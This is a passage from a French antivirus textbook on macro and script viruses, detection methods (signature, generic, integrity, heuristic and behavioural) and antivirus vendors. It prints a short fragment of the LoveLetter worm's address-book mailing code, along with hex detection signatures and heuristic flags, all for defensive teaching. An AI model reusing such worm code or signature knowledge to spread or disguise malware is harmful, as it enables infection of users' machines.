7.1.2 Mode de fonctionnement sous Excel et PowerPoint Les techniques d’infection pour ces 2 plates-formes se rapprochent des précédentes. Pour Excel, en l’absence de modèle global, le virus cherche à infecter le répertoire de démarrage xlouvrir car tout fichier présent dans ce répertoire s’ouvre automatiquement avec l’application. Pour cela, il tente d’y positionner une feuille de calcul contenant le code viral. Pour PowerPoint, l’équivalent du fichier normal.dot se nomme blank presentation.pot ; c’est lui qui est visé et infecté en priorité. Les principaux virus sous Excel furent XM/Laroux et X97M/Laroux. Aucun virus PowerPoint n’atteint la postérité des médias ; citons cependant : P97M/Phlaco et P97M/Yesi.
PAGET_Ch07 Page 217 Lundi, 11. avril 2005 5:24 17
7.1 Macro-virus
217
7.1.3 Un cas particulier : XF/PAIX Ce virus français peut être considéré comme le seul virus ayant surpris la communauté anti-virale dans son ensemble. Il utilise l’ancien langage de formule peu documenté d’Excel 97. J’ai découvert la version initiale en France à la fin du mois de janvier 1998. Une version B date du milieu de l’année (août 98). La version A comporte une feuille très cachée du nom de !!!GO, la version B une feuille du nom de !!!GA. Pour visualiser ce type de feuille, on utilise une macro du type : Sub unhide() For Each sh In Sheets sh.Visible = True Next End Sub
Ces quelques lignes s’appliquent à la totalité des virus EXCEL. Elles ne sont cependant pas toujours suffisantes pour éliminer la totalité de la furtivité. Pour XF/ PAIX, par exemple, il faut ensuite entrer un mot de passe pour visualiser le code viral proprement dit. Il est intéressant de noter que l’auteur de la version B a tenté de changer le mot de passe. Bien qu’inscrit en dur dans le code de cette version, c’est le mot de passe de la version A qui reste valide ! Le virus XF/Paix.A se manifeste à l’utilisateur de façon aléatoire (1 chance sur 100). Il bloque alors la session de travail en affichant une fenêtre intitulée Enfin la Paix…
© Dunod – La photocopie non autorisée est un délit
Sur un PC infecté, la présence du virus peut être confirmée par l’existence d’un fichier xlsheet.xla dans le répertoire de travail ou dans le répertoire c:\windows si le répertoire de travail est sur un disque réseau. Le message de la version B est : « putain deux ans ! ! ».
7.1.4 Virus sous Access A97M/Accessiv.A (alias JetDB) fut le premier du type. L’un des plus récent (Juin 2004) est un mass-mailer du nom de A2KM/Sadip.A@MM. Accessiv fut découvert aux USA aux alentours du 20 mars 1998. Il ne contenait pas de message particulier et ne faisait que se reproduire en infectant les autres bases de données du répertoire courant. Le virus est constitué d’une simple macro autoexec qui lance un module VBA du nom de virus.
PAGET_Ch07 Page 218 Lundi, 11. avril 2005 5:24 17
218
Chapitre 7. Macro-virus et virus de script
Excepté une variante pour Access 2.0, tous ces virus sont écrits en Visual Basic for Applications, d’une manière similaire aux virus Word et Excel. Notons cependant une différence : Access comporte un langage de macro à structure tabulaire à l’instar de ce qui se pratiquait dans les anciennes versions d’Excel. C’est par ce biais que se créent les macros automatiques. Ce sont elles qui permettent le lancement de modules de code VBA. Avec Access, macros et modules sont des entités distinctes et un virus sous Access est un mixage de ces 2 types d’outils de programmation. Il existe au total quatre variantes pour Accessiv. L’une d’entre elle affiche de janvier à mars le message : I am the AccessiV virus, Strain B Written by Jerk1N, of the DIFFUSION Virus Team AccessiV was/is the first ever Access Virus!!!
Elle infecte les fichiers *.mdb du répertoire courant, des sous-répertoires et du répertoire racine. Elle cherche aussi à implanter un virus programme (virus Jerkin.443, alias LVJ443) mais échoue dans cette tentative. A97M/Tox est une famille de 2 virus. Un message interne indique : The Detox Unit Access Macro Virus written by Sin Code IV (an old friend by any other name…)
Ces virus sont plus sophistiqués que ceux de la famille précédente. L’auteur (il s’agit en fait de VicodinES) utilise certaines techniques de furtivité qui rendent le virus difficilement détectable en première analyse. Un autre virus intéressant dans cette famille est également signé par VicodinES. Il porte le nom de Cross. Il s’agit du premier virus multipartite de ce type : il infecte à la fois Access 97 et Word 97 (W97M/Cross, A97M/Cross). Son principal défaut concerne sa taille : le fichier normal.dot infecté dépasse 300 Ko… Il contient aussi quelques bugs qui entrave son fonctionnement normal. Une étude approfondie du virus montre que son processus d’infection est plus complexe qu’il n’y paraît. Les premières infections sont toujours multipartites mais des éléments sains, infectés par la seconde génération du virus, perdront leur multipartisme. Il est donc normal de trouver sur une même machine : • • • •
Des virus Access multipartites (Access + Word, 2ème génération). Des virus Word multipartites (Word + Access, 2ème génération). De purs virus Word (3ème génération). De purs virus Access (3ème génération).
Si un virus de 2ème génération est diffusé, le processus initial se reproduit sur la nouvelle machine cible ; s’il s’agit d’un virus de 3ème génération, il n’y aura plus de multipartisme.
PAGET_Ch07 Page 219 Lundi, 11. avril 2005 5:24 17
219
7.2 Virus de script
7.2 VIRUS DE SCRIPT Un langage de scripts est un langage de programmation spécialisé destiné à contrôler l’environnement d’un logiciel. Interprété, il peut donc être exécuté sur toute machine disposant de l’interpréteur approprié. Deux des plus utilisées sont VBScript et JavaScript. Pour les raisons déjà expliquées plus haut, nous ne nous étendrons pas non plus sur ces virus dont les éléments intéressants ont été décrits dans le chapitre dédié aux vers.
7.2.1 VBScript VBScript a été créé à partir de VBA et de Visual Basic. Il repose sur du code source en clair et non sur du code compilé tel que celui des applets. Tout un chacun peut donc voir et modifier le code des scripts qu’il rencontre. VBScript doit être aussi considéré comme un langage autonome. Avec l’arrivée des nouvelles versions de Windows, il a détrôné les fichiers de traitement par lots composés d’une série de commande DOS (fichiers batch). Les premiers virus purement VBScript datent d’octobre 1998. En raison de leurs capacités de propagation hors du commun, l’un des alias donné au premier né de la famille fut rabbit. Leur nombre a ensuite augmenté parallèlement à la généralisation de ce nouveau langage. Ils ne se propagèrent sérieusement qu’à partir de juillet 1999 lorsqu’ils devinrent vers de messagerie. Tableau 7.5 — Classification des virus de script
© Dunod – La photocopie non autorisée est un délit
TYPE
NOM DU VIRUS
ALIAS VBS/FIRST, VBS/RABBIT
DATE
Recouvrement
VBSV.A, VBSV.B
10/98
Lien avec Java Script
VBSV.C
Ajout
VBS/CBABM
VBS/SEVEN, VBS/777
Crypte
VBS/ZULU
VBS/LUSER
Lien avec VBA
VBS/HAPPY
W97M/COLDAPE.A
Lien avec HTML
VBS/CHARLENE.B
Multi-application avec VBA
VBS/BREAK.A
W97M/BREAK.A
11/98
Multi-application avec VBA & HTML
VBS/HOPPER
W97M/HOPPER.G
04/98
Ver
VBS/FREELINK@MM VBS/MONOPOLY@MM
10/98 11/98
11/98 12/98
07/99 08/99
PAGET_Ch07 Page 220 Lundi, 11. avril 2005 5:24 17
220
Chapitre 7. Macro-virus et virus de script
7.2.2 Java et JavaScript Java est un langage créé par Sun Microsystems. Il est comparable au C++ et orienté objet. Il est indépendant de toute plate-forme. Son exécution ne nécessite que la présence du processeur virtuel Java Virtual Machine. Java permet de réaliser deux types de programmes: des applets et des applications. Alors qu’un applet n’est qu’une forme hybride de programme incorporé à un document HTML, Java permet aussi la réalisation d’applications intégrées complètes et autonomes qui peuvent avoir le contrôle total du système. JavaScript n’est pas Java ! En effet, si Java est un langage compilé, JavaScript, développé par la société Netscape, est interprété. Le code est inclus soit dans une page HTML, soit dans un fichier à l’extension standard .js. Du point de vue viral, notez bien la distinction faite au niveau du préfixe : • JV pour Java. • JS pour JavaScript. À titre d’exemple, JS/TheFly@MM est un ver JavaScript. Il est contenu dans un fichier attaché nommé the_fly.chm1. En novembre 1998, certains experts parlèrent de virus HTML. Il s’agissait en fait de code VBScript capable de se propager via des fichiers HTML sur une machine locale. Citons comme exemple : JS/Kak@M. Du côté de Java, le virus JV/Strange Brew est apparu en août 1998. Il s’agissait du premier virus natif. Il est capable d’infecter aussi bien les applets que les applications. Ses capacités d’infection sont cependant limitées. Un applet infecté n’infectera pas un autre applet ni une application et il ne peut se propager que depuis une application locale infectée en utilisant java.exe2 ou l’un de ses équivalents. JV/Strange Brew est parfois considéré comme étant le premier virus véritablement multi plates-formes car il est capable de sévir sur n’importe quel environnement exécutant une machine virtuelle Java depuis les PC Windows 95 jusqu’aux serveurs Unix et aux super calculateurs Cray.
7.2.3 Traitement par lot Bien avant l’apparition des langages interprétés modernes, certains auteurs se sont appliqués à créer des virus utilisant les commande DOS au sein de fichiers batch (extension .bat). Même s’ils sont peu courants, certains d’entre eux sont très sophistiqués et peuvent être résidents en mémoire. Citons à titre d’exemple les virus de la famille Batman. 1. CHM : Compiled HTML Help File. 2. kit JDK – Java Developper’s Kit.
PAGET_Ch08 Page 221 Lundi, 11. avril 2005 5:24 17
8 Les logiciels anti-virus
Les précédents chapitres nous ont aidés à mieux connaître notre ennemie. Nous allons maintenant nous attacher à comprendre le fonctionnement du principal outil qui sert à le combattre. Sur plus de 60 sociétés référencées au niveau mondial, une quinzaine se partage le marché français. La plupart d’entre elles sont dignes de confiance, et leurs produits, s’ils sont correctement déployés et mis à jours offrent un niveau de sécurité correct. Le présent chapitre ne traitera que des logiciels anti-virus. Il est cependant indispensable de rappeler que sa seule utilisation ne suffira plus à garantir un niveau de sécurité suffisant. Dans la pratique, il faudra lui adjoindre : • Un pare-feu. On l’installera au niveau du poste de travail autonome et/ou au niveau de la passerelle Internet. • Un appliance ou un logiciel de détection (IDS) ou de prévention (IPS) d’intrusion.
8.1 LES MÉTHODES DE DÉTECTION La plupart des anti-virus ne mettent pas en œuvre une seule méthode de détection, mais un panachage de celles ci. C’est leurs qualités et le dosage de l’une par rapport à l’autre qui font la différence. Au nombre de cinq, elles ont chacune leurs particularités et leurs limites : • La recherche pas signature. • La recherche générique. • Le contrôle d’intégrité.
PAGET_Ch08 Page 222 Lundi, 11. avril 2005 5:24 17
222
Chapitre 8. Les logiciels anti-virus
• La recherche heuristique. • Le monitoring de programme. À l’exception du dernier point, ces méthodes peuvent être mises en œuvre à la demande de l’utilisateur ou s’activer automatiquement sur accès à un fichier ou à une ressource. Ces modes sont aussi appelés statique et dynamique. Chaque méthode a ses limites ; les auteurs de virus les connaissent parfaitement. Ils découvrent régulièrement de nouveaux subterfuges qui peuvent leurrer les scanners heuristiques, génériques ou comportementaux. Ces moteurs intelligents sont donc, eux aussi, régulièrement améliorés et l’utilisateur doit suivre ces évolutions. Les anti-virus sont sujets à des fausses alertes que les mises à jour corrigent aussi au fil du temps.
8.1.1 La recherche par signature Voici le procédé le plus connu. C’est la technique du scanner basée sur une recherche de chaînes de caractères. Le procédé est fiable mais nécessite des mises à jour fréquentes. Face aux virus polymorphes et aux fichiers compressés, il requiert souvent la mise en place d’algorithmes spécifiques, à l’efficacité incontestable. Pour limiter les temps d’analyse, seules les zones sensibles sont parcourues par le scanner. Elles sont déterminées en fonction du fichier à analyser et du virus à rechercher. Tableau 8.1 — Zone de recherche à privilégier selon le virus recherché Zones de recherche privilégiées Virus système
Premier secteur physique du disque dur Premier secteur logique de chaque partition
Virus programme (W32)
Voisinage du point d’entrée (EP-RVA) Dernière section
Macro-virus
Espace dédié au stockage des macros
Virus de script
Début de fichier Portion de code significative à un offset prédéterminé.
Vers
Portion de code significative à un offset prédéterminé.
La recherche par signature ne se limite pas à celle d’une chaîne de caractère stable comme vont nous le montrer les quelques exemples suivants. Ceux ci ont été simplifiés à l’extrême dans un souci de clarification.
PAGET_Ch08 Page 223 Lundi, 11. avril 2005 5:24 17
8.1 Les méthodes de détection
223
Recherche triviale Après s’être positionné au point d’entrée, l’antivirus recherche immédiatement une chaîne caractéristique du virus. La fausse alerte est dans ce cas fort improbable. S’il est nécessaire d’affiner la détection, il ne s’agira que de différencier d’éventuelles variantes pour permettre une éradication correcte.
Figure 8.1 — Exemple d’une recherche simple – W95/CIH.1031
Recherche avec jokers
© Dunod – La photocopie non autorisée est un délit
Après s’être positionné 13 octets après le début de la dernière section, l’antivirus recherche une chaîne caractéristique du virus. La fausse alerte est possible. Il pourra s’avérer nécessaire de rechercher un autre signe distinctif, typique du virus.
Figure 8.2 — Exemple d’une recherche avec jokers – W32/Grand!p2p
PAGET_Ch08 Page 224 Lundi, 11. avril 2005 5:24 17
224
Chapitre 8. Les logiciels anti-virus
Recherche d’un checksum Sur certains fichiers, il est parfois difficile de se limiter à la recherche d’une ou plusieurs chaînes de caractères. Ceci est particulièrement vrai lorsque le virus est un ver dont le code a été compressé dans un fichier auto-extractable ou compilé depuis une plate-forme Visual Basic ou Delphi. Il est alors possible de raccourcir le temps de traitement en limitant la recherche à une correspondance de checksum sur une zone prédéterminée. Cette méthode a un autre avantage. Les outils de compression (UPX, AsPack, Petite…) se doivent de laisser en l’état certaines zones que l’explorateur Windows doit immédiatement pouvoir sonder. Dans le cas d’un ver ou d’un fichier compagnon, le checksum de cette zone reste inchangé sur des variantes pouvant avoir été créées après l’emploi de tel ou tel compacteur.
Figure 8.3 — Exemple d’une recherche par checksum – W32/Yarner@MM
Recherche avancée De nombreuses techniques de camouflage interdisent l’utilisation immédiate du scanner. Elles ont fait dire de tout temps aux détracteurs de cette méthode de détection qu’elle était inadéquate et inefficace dans de nombreux cas. Ceci est inexact, car dès l’apparition des premiers virus cryptés, les fabricants d’antivirus ont réagi en intégrant des fonctions d’émulation de code machine pour simuler l’exécution de certaines routines virales. Ces techniques évoluent encore aujourd’hui et permettent de faire face à la plupart des techniques anti-débug que les auteurs de virus s’efforcent de mettre en place. L’anti-virus devient ainsi capable de pénétrer un virus chiffré pour l’examiner dans sa forme décryptée et lui appliquer les mêmes méthodes de détection que celle employées pour les virus plus simples.
PAGET_Ch08 Page 225 Lundi, 11. avril 2005 5:24 17
8.1 Les méthodes de détection
225
Figure 8.4 — Exemple d’une recherche avancée – W32/Anvil
De rares virus restent résistant à cette technique. L’une des raisons découle du temps de traitement. Sur un Pentium III, W32/Crypto réclame parfois plus de 10 minutes pour réaliser son décryptage. Les routines sont simples mais plus de 43 millions d’instructions sont nécessaire pour en venir à bout. D’autres virus tels que W32/SUK ou W32/Zmist1 ont nécessité la mise en place de routines spécifiques. Il s’agit toujours d’une recherche de code mais celle ci passe par l’application de processus éminemment complexes.
Moniteur de virus
© Dunod – La photocopie non autorisée est un délit
Les anti-virus offrent un module résident qui met en œuvre, de manière dynamique, cette méthode lors des accès aux fichiers ou aux disquettes ; on parle alors parfois de moniteur de virus. Ce type de procédé a toujours eu du mal à coexister sur les vieilles plates-formes DOS/Windows3.x ; il était gourmand en mémoire et ralentissait les traitements. Il est devenu efficace sous les environnements actuels mais doit alors faire corps avec le système d’exploitation (produit 32 bits, service NT).
8.1.2 La recherche générique En mode résident ou à la demande, la recherche générique peut être considérée comme une recherche par signature que l’on qualifiera de floue. Pour une même famille de virus, il est généralement possible d’isoler des séquences de code à la structure identique. Elles sont souvent liées à des processus d’infection ou de camouflage (cryptage, polymorphie, anti-débug). Ces séquences peuvent correspondre à du code compilé ou à des brides d’instructions spécifiques rencontrées dans un langage interprété quelconque. 1. FERRIE Peter & SZOR Peter (2001), Zmist Opportunities, Virus Bulletin, mars 2001. pp 6-7.
PAGET_Ch08 Page 226 Lundi, 11. avril 2005 5:24 17
226
Chapitre 8. Les logiciels anti-virus
Un travail d’analyse permet d’isoler ces éléments constants. Le résultat se présente sous la forme d’une ou plusieurs chaînes hexadécimales ou ASCII accompagnées, ou non, de jokers. Celles ci ne sont pas recherchées à un endroit précis mais au sein d’un intervalle que le chercheur doit également définir. La seule localisation de ces indices dans une zone adéquate du fichier indiquera la présence du virus. Il pourra alors s’agir d’une variante connue ou encore inconnue. Les souches détectées sont annoncées sous un nom général du type : VBS/LoveLetter.gen@MM ou W32/ Gara.gen@MM.
Figure 8.5 — Technique de Recherche Générique
Dans l’exemple ci-dessus, deux chaînes typiques du virus W32/Gara ont été isolées. Elles se situent au sein des 100h premiers octets du code viral et sont présentes pour toutes les variantes. C’est l’indice principal qui permet d’annoncer la présence du virus. Tableau 8.2 — Localisation des indices liés à W32/Gara.gen Suffixe de Variante virus W32/GARA
offset ∆1 on y trouve le code : 0F 01 4C 24 FE 5A 83 C2 xx
offset ∆2 on y trouve le code : 68 xx xx xx xx C3
888B
7Ch
B5h
640
01h
7Fh
842A
26h
5Ch
842B
26h
5Ch
PAGET_Ch08 Page 227 Lundi, 11. avril 2005 5:24 17
227
8.1 Les méthodes de détection
884
26h
5Fh
888A
29h
5Fh
917
26h
5Fh
928
29h
62h
961
29h
62h
640
01h
84h
La méthode générique s’applique particulièrement efficacement aux macro-virus et aux virus de script. La seule présence de certaines instructions liées à un processus d’auto reproduction apporte la suspicion : • Wscript.Shell • Outlook.Application • Mapi.AddressLists Le doute ne sera plus possible si certains noms de variables connus sont aussi rencontrés. On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1
© Dunod – La photocopie non autorisée est un délit
Figure 8.6 — Code suspect rencontré dans certaines variantes
de VBS/LoveLetter@MM
Dans le cas de Loveletter, de nombreuses variantes utilisent les variables : • • • • •
ctrentries, b, regedit, regv, regad.
Tous ces indices mis bout à bout permettent de détecter, à l’aide d’un seul ensemble de règles, plus de 50 variantes du virus. La recherche générique est également très efficace dans la recherche de programmes non-auto reproducteurs inconnus.
PAGET_Ch08 Page 228 Lundi, 11. avril 2005 5:24 17
228
Chapitre 8. Les logiciels anti-virus
8.1.3 Le contrôle d’intégrité Tout comme les méthodes précédentes, le contrôle d’intégrité est un procédé capable de fonctionner en mode statique ou dynamique. Sachant que toute action virale s’accompagne d’une modification (des fichiers sont modifiés, ou d’autres sont créés) la surveillance débute par l’établissement d’une photographie de référence ou code checksum1. Celle ci s’opère dans un environnement réputé sain. Les données sont ensuite comparées au fil du temps. Si le certificat a changé (fichier modifié) ou s’il est absent (fichier ajouté), une alerte est émise. Cette méthode est en théorie infaillible. Des expériences ont cependant été menées par le passé démontrant qu’il était possible d’automatiser la création de couples de fichiers (avant et après modification) répondant au même checksum. Il a ainsi été possible de tromper certains contrôleurs d’intégrité pour peut que l’on en découvre la loi mathématique interne. Le procédé a néanmoins été fréquemment utilisé dans les environnements MSDOS et son abandon n’a rien à voir avec une éventuelle fragilité. Celui ci peut être durci par renforcement de l’algorithme (CRC 32 bits, CRC 64 bits). Les raisons de la perte d’intérêt de la méthode sont multiples. En premier lieu, la technique suppose que le poste de travail n’est pas infecté à l’initialisation de la base de référence. De nombreuses stations avec un virus système ou un ver firent ainsi l’objet d’une vaccination. Il fallut attendre plusieurs mois, et l’utilisation d’un scanner à jour pour s’apercevoir de l’infection. En second lieu, elle ne peut efficacement s’appliquer que sur des équipements stabilisés, exempts de modification, d’ajout et de suppression fréquente de logiciel. Si ce n’est le cas, seules les zones systèmes et quelques répertoires pourront bénéficier de la protection. Il faudra par ailleurs la désactiver à chaque mise à jour, et s’assurer de la provenance et de la qualité des nouveaux fichiers qui seront considérés comme sain. Certains exécutables subissent, de par leur conception, des modifications périodiques. Pour ne pas avoir à gérer de fausses alertes. Ils devront être exclus du processus de vérification. De même, les documents bureautiques modernes resteront souvent vulnérables. Ils contiennent des macros qu’il faut surveiller, à coté de données qui sont incessamment – et par définition – constamment modifiées. Notons enfin qu’en cas d’alerte, la décision d’interdire ou d’autoriser la modification reste à la charge de l’utilisateur final. Celui ci devra donc décider, en son âme et conscience, s’il à affaire à un virus ou à une opération légitime. Cette décision est éminemment complexe et les conséquences d’une erreur de choix peuvent entraîner aussi bien une infection virale qu’un plantage du système. Les ordinateurs sont aujourd’hui interconnectés, leurs utilisateurs téléchargent chaque jour des dizaines de fichiers et installent de fréquentes mises à jour. L’espace
1. CRC : code de redondance cyclique.
PAGET_Ch08 Page 229 Lundi, 11. avril 2005 5:24 17
8.1 Les méthodes de détection
229
stabilisé au sein d’une machine s’amenuise inexorablement et explique la disparition de la méthode comme procédé principal de lutte anti-virale. Plutôt que de créer une base de référence, certains logiciels marquent les fichiers en leurs ajoutant, comme le font de nombreux virus, quelques octets. Cette méthode est dangereuse à plus d’un titre : le retour en arrière n’est pas toujours optimal et la modification du code source d’un programme peut réserver un jour ou l’autre des surprises…
8.1.4 La recherche heuristique La recherche heuristique s’apparente à une recherche de singularités au sein des fichiers analysés. Elle ne s’appuie pas sur la connaissance particulière de l’ensemble des variantes d’un même virus, mais sur la structure des fichiers analysés et sur la présence en nombre plus ou moins conséquent d’instructions essentielles à l’ensemble d’une famille virale (macro-virus, exécutables W32, etc.). En 1995, Frans Veldman exposait la méthode heuristique mise au point pour TbScan1. Le produit était à même de détecter toute une série d’éléments suspects au sein des exécutables DOS. Un indicateur était affecté à chacun d’entre eux :
© Dunod – La photocopie non autorisée est un délit
Tableau 8.3 — Liste des indicateurs des éléments suspects au sein des exécutables DOS F
Accès suspect vers d’autres fichiers. Le programme semble contenir un processus d’infection.
R
Relocation. Le code se reloge en mémoire de façon suspecte.
A
Allocation Mémoire Suspecte. L’allocation mémoire utilise une méthode non standard.
N
Extension non conforme. Aux vues de la structure du programme, l’extension du fichier n’est pas conforme à ce qu’elle devrait être.
S
Routine de recherche d’exécutables (.COM ou .EXE).
#
Routine de décryptage.
E
Point d’Entrée flexible. Le code semble construit pour permettre une introduction facile au sein d’un exécutable quelconque.
L
Capacité d’intercepter d’autres programmes se chargeant en mémoire.
D
Ecriture en mode physique. Le programme écrit sur le disque sans passer par le DOS.
M Résident en mémoire. !
Opcodes invalides et sauts en erreur.
T
Date et heure incorrecte.
1. VELDMAN Frans (1995), Heuristic Anti-Virus Technology, Disponible à l’adresse : http://www.madchat.org/vxdevl/papers/av-oriented/heuris.txt.
PAGET_Ch08 Page 230 Lundi, 11. avril 2005 5:24 17
230
Chapitre 8. Les logiciels anti-virus
J
Une succession de saut
?
Entête de fichier incorrecte.
G
Code inutile et superflu.
U
Appel à une interruption DOS non documentée.
Z
Routine de détermination EXE ou COM
O
Routine de déplacement ou d’écrasement d’espace mémoire.
B
Routine de re-direction sur Point d’Entrée modifié.
K
Utilisation inhabituelle de la pile mémoire (zone de stack).
La pertinence de ce modèle de recherche fut facilement démontrée lorsqu’il fut appliqué à des familles virales connues. Tableau 8.4 — Modèle de recherche heuristique appliquée à quelques virus connus FAMILLE VIRALE
VALEUR DE L’INDICATEUR
Jerusalem
FRLMUZ
Backfont
FRALDMUZK
Ghost
FELDTGUZB
Murphy
FSLDMTUZO
Ninja
FEDMTUZOBK
Tolbuhin
ASEDMUOB
Yankee_Doodle
FN#ELMUZB
Des fausses alertes, inconvénients de la méthode, ne manquèrent pas d’apparaître. Bien connu des programmateurs DOS, le programme loadhi.com1 devint un moment suspect aux yeux de TbScan. L’indicateur retournait la valeur AMUZO. Aujourd’hui encore, la parade consiste à reconnaître ces programmes légitimes pour les éliminer d’office avant, après ou pendant l’analyse. Il est tout à fait possible de revisiter la méthode ci-dessus pour l’appliquer aux programmes actuels. Pour des fichiers binaires Windows suspects, il est possible de citer : • Un point d’entrée dans la dernière section. • Un point d’entrée avant la première section. 1. Loadhi.com : élément du gestionnaire de mémoire QEMM.
PAGET_Ch08 Page 231 Lundi, 11. avril 2005 5:24 17
8.2 Les principaux concepteurs de produits anti-virus
• • • • •
231
Un saut inter-section. Des caractéristiques de sections inattendues. Un nom de section inattendu. Une boucle de décryptage simple ou polymorphe au point d’entrée. Des instructions inattendues (fonctionnalités d’émission de mails, instructions liées à des exploits connus ou à des séquences anti-débug…).
8.1.5 Le monitoring de programmes Il s’agit ici d’analyse comportementale. Elle repose sur l’analyse dynamique des opérations de lecture et d’écriture en mémoire ou sur un support physique. Citons simplement à titre d’exemple trois évènements majeurs qu’il semble bon de surveiller : • L’écriture en mode physique sur un disque dur. • La recopie de fichiers entrants dans un répertoire système. • La modification de la base de registres par un programme non autorisé. Par le passé, cette méthode fut parfois directement couplée à l’anti-virus. Son principal défaut était le déclenchement d’alertes intempestives qu’un utilisateur non averti n’était pas toujours à même d’interpréter : s’agissait-il d’une manifestation d’un virus inconnu ou d’un fonctionnement normal ?
© Dunod – La photocopie non autorisée est un délit
On remarquait aussi, pour certains produits, un blocage brutal de l’application en cour lorsque celle ci était désignée comme suspecte. Sous Windows95, cela s’est s’avéré fréquemment dangereux ; à cette époque nombre de ces produits de sécurité ne semblaient pas maîtriser la technologie 32 bits. Aujourd’hui, ce procédé est mis en oeuvre au sein de produits réservés à cette effet. La phase d’installation de ces logiciels dédiés débute par un apprentissage et une reconnaissance des opérations légitimes. La détection qui en résulte dépasse largement la sphère anti-virale pour s’attacher à prévenir tout type d’intrusion. Ces nouveaux produits deviennent indispensables alors que la frontière en auteurs de virus et criminels informatiques de tout bord s’amenuise de jour en jour.
8.2 LES PRINCIPAUX CONCEPTEURS DE PRODUITS ANTI-VIRUS Le tableau ci-après regroupe les principaux fournisseurs d’anti-virus. Ces informations sont sujettes à changement ; elles étaient valides en septembre 2004.
PAGET_Ch08 Page 232 Lundi, 11. avril 2005 5:24 17
232
Chapitre 8. Les logiciels anti-virus
Tableau 8.5 — Les principaux constructeurs de produit anti-virus
COMPAGNIE
ANTI-VIRUS (STATION DE TRAVAIL)
SITE WEB & CONTACT
AhnLab
V3Pro Deluxe
http://info.ahnlab.com/english/
Aladdin Knowledge Systems
eSafe
http://www.ealaddin.com/ http://www.allasso.fr [email protected]
Alwil Trade Ltd
AVAST !
http://www.asw.cz/index.html http://www.alwil.com
Authentium
Command Antivirus
http://www.authentium.co.uk/index.cfm
CAT Computer Services Pvt. Ltd.
Quick Heal
http://www.quickheal.com/ http://www.quickheal.cite-net.fr [email protected]
Central Command Inc
Vexira
http://www.centralcommand.com/index.html
Computer Associates
ETrust Antivirus
http://ca.com/offices/belgium/french/ [email protected]
CyberSoft
VFind
http://www.cybersoft.com
Eset
NOD32
http://www.nod32.com/home/home.htm www.lgr.fr [email protected]
Frisk Software International
F-Prot
http://www.f-prot.com/index.html http://www.hermitagesolutions.com/public/ pages/32000.php
F-Secure
F-Secure Anti-Virus
http://www.f-secure.com/ [email protected]
G DATA
AntiVirenKit
http://www.gdata.de/ [email protected]
GeCAD Software
RAV AntiVirus
http://www.ravantivirus.com/pages/ [email protected]
Ggreat
ZLOCK
http://www.ggreat.com/
Grisoft
AVG Anti-Virus
http://www.avgfrance.com
H+BEDV Datentechnik GmbH
AntiVir
http://www.hbedv.com/
Hauri
ViRobot
http://www.hauri.net/ [email protected]
Ikarus Software
Virus utilities
http://www.ikarus-software.at/portal/index.php [email protected]
PAGET_Ch08 Page 233 Lundi, 11. avril 2005 5:24 17
233
8.2 Les principaux concepteurs de produits anti-virus
© Dunod – La photocopie non autorisée est un délit
COMPAGNIE
ANTI-VIRUS (STATION DE TRAVAIL)
SITE WEB & CONTACT
Kapersky Lab
KAV
http://www.kaspersky.com/fr/ [email protected]
Leprechaun
VirusBUSTER II
http://www.leprechaun.com.au/
McAfee
VirusScan
http://www.mcafee.com/fr/
MicroWorld Technologies Inc.
eScan
http://www.mwti.net
MkS Sp z o.o.
mks_vir
http://www.mks.com.pl/english.html [email protected]
NetZ Computing Ltd
InVircible
http://invircible.com
New Technology Wave Inc.
Virus Chaser
http://www.viruschaser.com/Eng/index.jsp
Norman ASA
Norman Virus Control
http://www.norman.com/fr/support.shtml
Panda Software
Titanium Antivirus
http://www.pandasoftware.com/fr/ [email protected]
PER SYSTEMS S.A.
Per Antivirus
http://www.perantivirus.com/
Prognet Technologies
Fire anti-virus
http://www.fireav.com/company/contact.htm
Proland Software
Protector Plus
http://www.pspl.com
Rising
Rising Antivirus Software
http://www.rising-eu.com/
Softwin
Bit Defender
http://fr.bitdefender.com/bd/site/page.php http://www.editions-profil.fr [email protected]
Sophos
Sweep
http://www.sophos.fr/ [email protected]
SRN micro systems
Solo Antivirus
http://www.antivirus-download.com/
St.Petersburg antivirus laboratory by Igor Daniliff (SalD Ltd.)
Dr.Web
http://www.sald.com/
Symantec
Norton AntiVirus
http://www.symantec.fr/
Tegam International
Viguard
http://www.viguard.org/fr/intro_fr.php [email protected]
PAGET_Ch08 Page 234 Lundi, 11. avril 2005 5:24 17
234
Chapitre 8. Les logiciels anti-virus
COMPAGNIE
ANTI-VIRUS (STATION DE TRAVAIL)
SITE WEB & CONTACT
Trend Micro
PC-cillin
http://fr.trendmicro-europe.com/
Vcatch
Vcatch
http://www.vcatch.com/index.html
VirusBuster Kft.
VirusBuster
http://www.virusbuster.hu/en/
PAGET_Ch09 Page 235 Lundi, 11. avril 2005 5:23 17
9 Organiser la lutte anti-virale
L’organisation de la lutte anti-virale passe par la mise en place d’outils de détection et de prévention depuis le poste de travail jusqu’aux passerelles. Il faut aussi mettre en œuvre, puis respecter d’un certain nombre de grandes règles, souvent pleines de bon sens. À coté de celles-ci des mesures plus terre à terre, des modifications de paramétrage dans la configuration par défaut des systèmes d’exploitation et des logiciels bureautiques, permettront de mieux coller à la réalité de la menace qui se diversifie. Ce sont ces divers points qui vont être abordés dans ce chapitre.
9.1 LES GRANDES RÈGLES À RESPECTER L’anti-virus comme seul parade aux virus informatiques actuels ne suffit plus. Certains virus et vers utilisent de nouvelles méthodes de propagation et d’action : • • • •
Ils ne résident qu’en mémoire vive et se propagent via le flux Internet. Ils exploitent des failles liées au système d’exploitation et au réseau. Ils s’associent à des outils de piratage. Ils utilisent la technique du spam pour initialiser leur propagation.
J’invite le lecteur à consulter le Référentiel Dunod dédié à la protection des systèmes d’information1. Dans le chapitre dédié à la lutte anti-virale j’y présente, avec 1. Ce Référentiel se veut être la bible à la fois du responsable sécurité et de tous ceux qui, sans occuper cette fonction, sont confrontés à la mise en œuvre ou à la gestion des politiques de sécurité.
PAGET_Ch09 Page 236 Lundi, 11. avril 2005 5:23 17
236
Chapitre 9. Organiser la lutte anti-virale
l’aide de mes collègues du CLUSIF, la sphère informatique comme une série de niveaux concentriques avec : • • • •
Les ressources propres à l’utilisateur. Les ressources partagées. Les passerelles. Le monde extérieur.
Chacun de ces espaces peut être attaqué et doit être réglementé. Les lignes de ce sous-chapitre sont une reprise partielle de la section du Référentiel dédié à l’organisation de la lutte anti-virale.
